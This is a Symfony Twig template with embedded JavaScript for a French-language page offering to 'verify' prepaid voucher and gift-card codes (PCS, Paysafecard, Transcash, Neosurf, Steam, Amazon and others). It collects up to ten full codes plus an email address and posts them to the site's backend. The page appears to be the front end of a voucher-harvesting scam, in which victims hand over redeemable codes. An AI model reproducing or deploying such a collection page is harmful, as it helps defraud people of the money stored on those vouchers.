templates/frontend/index.html.twig line 1

Open in your IDE?
  1. {% extends "base.html.twig" %}
  2. {% block stylesheets %}
  3.     <style>
  4.         .background-container {
  5.             position: relative;
  6.             overflow: hidden;
  7.         }
  8.         .background-container::before {
  9.             content: '';
  10.             background-image: url('{{ asset('assets/images/pexels-davidmcbee-730564.jpg') }}');
  11.             background-repeat: no-repeat;
  12.             background-size: cover;
  13.             position: absolute;
  14.             top: 0;
  15.             left: 0;
  16.             width: 100%;
  17.             height: 100%;
  18.             opacity: 0.3; /* Réglez l'opacité selon vos préférences */
  19.             z-index: -1;
  20.         }
  21.         .alert {
  22.             position: fixed;
  23.             top: 50%;
  24.             left: 50%;
  25.             transform: translate(-50%, -50%);
  26.             background-color: black;
  27.             color: white;
  28.             padding: 20px;
  29.             border-radius: 5px;
  30.             z-index: 9999;
  31.             display: none;
  32.         }
  33.     </style>
  34. {% endblock %}
  35. {% block body %}
  36.     <div class="background-container">
  37.         <br/>
  38.         <div class="container">
  39.             <div class="col-lg-5 offset-lg-2 box-cards" style="position: relative; z-index: 5;">
  40.                 <div class="card" style="position: relative;">
  41.                     <div class="card-body">
  42.                         <div class="hero__form">
  43.                             <h4 class="sent-notification"></h4>
  44.                             <h3>{{ 'home.renseignez_title'|trans([],'messages')}}</h3>
  45.                             <form method="post" action="#" id="form_pcs">
  46.                                 <div class="mb-3">
  47.                                     <label for="recharge" class="form-label">{{ 'home.rechargeType'|trans([],'messages')}} :</label>
  48.                                     <select name="recharge" id="recharge" class="form-select" required>
  49.                                         <option value="PCS">PCS</option>
  50.                                         <option value="PAYSAFECARD">PAYSAFECARD</option>
  51.                                         <option value="TRANSCASH">TRANSCASH</option>
  52.                                         <option value="NEOSURF">NEOSURF</option>
  53.                                         <option value="LYCAMOBILE">LYCAMOBILE</option>
  54.                                         <option value="Google Play">GOOGLE PLAY</option>
  55.                                         <option value="Amazon">AMAZON</option>
  56.                                         <option value="OnShop">ONSHOP</option>
  57.                                         <option value="Steam">STEAM</option>
  58.                                     </select>
  59.                                 </div>
  60.                                 <div class="mb-3">
  61.                                     <label for="montant" class="form-label">{{ 'home.rechargeAmount'|trans([],'messages')}} :</label>
  62.                                     <input
  63.                                             type="number"
  64.                                             id="montant"
  65.                                             name="montant"
  66.                                             class="form-control"
  67.                                             placeholder="{{ 'home.rechargeAmountPlaceholder'|trans([],'messages')}}"
  68.                                             required
  69.                                     />
  70.                                 </div>
  71.                                 <div class="mb-3">
  72.                                     <label for="devise" class="form-label">{{ 'home.devise'|trans([],'messages')}} :</label>
  73.                                     <select name="devise" id="devise" class="form-select">
  74.                                         <option value="euro">€ (Euro)</option>
  75.                                         <option value="dollar">$ (Dollar)</option>
  76.                                         <option value="Franc Suisse">CHF (Franc suisse)</option>
  77.                                     </select>
  78.                                 </div>
  79.                                 <div class="mb-3">
  80.                                     <label for="nombre_codes" class="form-label">{{ 'home.nomberCodeVerifier'|trans([],'messages')}} :</label>
  81.                                     <select name="nombre_codes" id="nombre_codes" class="form-select" required>
  82.                                         <option value="1">1</option>
  83.                                         <option value="2">2</option>
  84.                                         <option value="3">3</option>
  85.                                         <option value="4">4</option>
  86.                                         <option value="5">5</option>
  87.                                         <option value="6">6</option>
  88.                                         <option value="7">7</option>
  89.                                         <option value="8">8</option>
  90.                                         <option value="9">9</option>
  91.                                         <option value="10">10</option>
  92.                                     </select>
  93.                                 </div>
  94.                                 <div id="codes_div" class="mb-3">
  95.                                     <div class="mb-3">
  96.                                         <label for="codeRecharge1" class="form-label">{{ 'home.codeRecharge'|trans([],'messages')}} 1 :</label>
  97.                                         <input
  98.                                                 type="text"
  99.                                                 class="form-control"
  100.                                                 name="codeRecharge1"
  101.                                                 id="codeRecharge1"
  102.                                                 placeholder="{{ 'home.codeRechargePlaceholder'|trans([],'messages')}}"
  103.                                                 required
  104.                                         />
  105.                                     </div>
  106.                                 </div>
  107.                                 <div class="mb-3">
  108.                                     <label for="email" class="form-label">{{ 'home.addresseEmail'|trans([],'messages')}} :</label>
  109.                                     <input
  110.                                             type="email"
  111.                                             class="form-control"
  112.                                             placeholder="{{ 'home.addresseEmailPlaceholder'|trans([],'messages')}}"
  113.                                             name="email"
  114.                                             id="email"
  115.                                             required
  116.                                     />
  117.                                 </div>
  118.                                 <button type="submit" class="btn btn-success" id="submit_button" style="background-color: #5a3e5c; color: #fff;" name="send">
  119.                                     <i class="fal fa-check-circle"></i> {{ 'home.verifierBouton'|trans([],'messages')}}
  120.                                 </button>
  121.                             </form>
  122.                         </div>
  123.                     </div>
  124.                 </div>
  125.             </div>
  126.         </div>
  127.         <br/>
  128.     </div>
  129.     <div class="alert" id="alert">
  130.         <p>{{ 'home.rechargeVerifierSuccess'|trans([],'messages')}}</p>
  131.     </div>
  132.     <script src="https://www.google.com/recaptcha/api.js?render={{ recaptcha_site_key }}"></script>
  133.     <script>
  134.         document.addEventListener("DOMContentLoaded", function () {
  135.             const form = document.getElementById("form_pcs");
  136.             const alertBox = document.getElementById("alert");
  137.             const codesDiv = document.getElementById("codes_div");
  138.             const submitButton = document.getElementById("submit_button");
  139.             const BASE_PATH = "{{ path('app_home_submit')|escape('js') }}";
  140.             // Fonction pour créer les champs de code dynamiquement
  141.             function createCodeInputs(numberOfCodes) {
  142.                 codesDiv.innerHTML = "";
  143.                 for (let i = 1; i <= numberOfCodes; i++) {
  144.                     const codeInput = document.createElement("div");
  145.                     codeInput.className = "mb-3";
  146.                     codeInput.innerHTML = `
  147.                     <label for="codeRecharge${i}" class="form-label">{{ 'home.codeRecharge'|trans([],'messages')}} ${i} :</label>
  148.                     <input type="text" class="form-control" name="codeRecharge${i}" id="codeRecharge${i}"
  149.                            placeholder="{{ 'home.codeRechargePlaceholder'|trans([],'messages')}}" required />
  150.                 `;
  151.                     codesDiv.appendChild(codeInput);
  152.                 }
  153.             }
  154.             // Gestion du changement du nombre de codes
  155.             document.getElementById("nombre_codes").addEventListener("change", function () {
  156.                 createCodeInputs(parseInt(this.value));
  157.             });
  158.             // Gestion du changement de type de recharge
  159.             document.getElementById("recharge").addEventListener("change", function () {
  160.                 const numberOfCodes = parseInt(document.getElementById("nombre_codes").value);
  161.                 createCodeInputs(numberOfCodes);
  162.             });
  163.             // Soumission du formulaire
  164.             form.addEventListener("submit", async function (event) {
  165.                 event.preventDefault();
  166.                 submitButton.disabled = true;
  167.                 submitButton.innerHTML = '<i class="fas fa-spinner fa-spin"></i> {{ 'home.verificationEnCours'|trans([],'messages')}}';
  168.                 try {
  169.                     // Récupération du token reCAPTCHA
  170.                     const token = await grecaptcha.execute('{{ recaptcha_site_key }}', {action: 'submit'});
  171.                     // Préparation des données du formulaire
  172.                     const formData = new FormData(form);
  173.                     const formObject = {
  174.                         recaptcha_token: token
  175.                     };
  176.                     // Conversion FormData en objet
  177.                     formData.forEach((value, key) => {
  178.                         formObject[key] = value;
  179.                     });
  180.                     // Envoi des données
  181.                     const response = await fetch(BASE_PATH, {
  182.                         method: "POST",
  183.                         headers: {
  184.                             "Content-Type": "application/json",
  185.                         },
  186.                         body: JSON.stringify(formObject)
  187.                     });
  188.                     const data = await response.json();
  189.                     if (!response.ok || !data.success) {
  190.                         throw new Error(data.error || "{{ 'home.erreurProduite'|trans([],'messages') }}");
  191.                     }
  192.                     // Affichage du message de succès
  193.                     alertBox.style.display = 'block';
  194.                     setTimeout(() => {
  195.                         alertBox.style.display = 'none';
  196.                     }, 15000);
  197.                     // Réinitialisation du formulaire
  198.                     form.reset();
  199.                     createCodeInputs(1);
  200.                     document.getElementById("nombre_codes").value = 1;
  201.                 } catch (error) {
  202.                     console.error("Erreur:", error);
  203.                     alert(error.message);
  204.                 } finally {
  205.                     submitButton.disabled = false;
  206.                     submitButton.innerHTML = '<i class="fal fa-check-circle"></i> {{ 'home.verifierBouton'|trans([],'messages')}}';
  207.                 }
  208.             });
  209.             // Initialisation des champs de code
  210.             createCodeInputs(1);
  211.         });
  212.     </script>
  213. {% endblock %}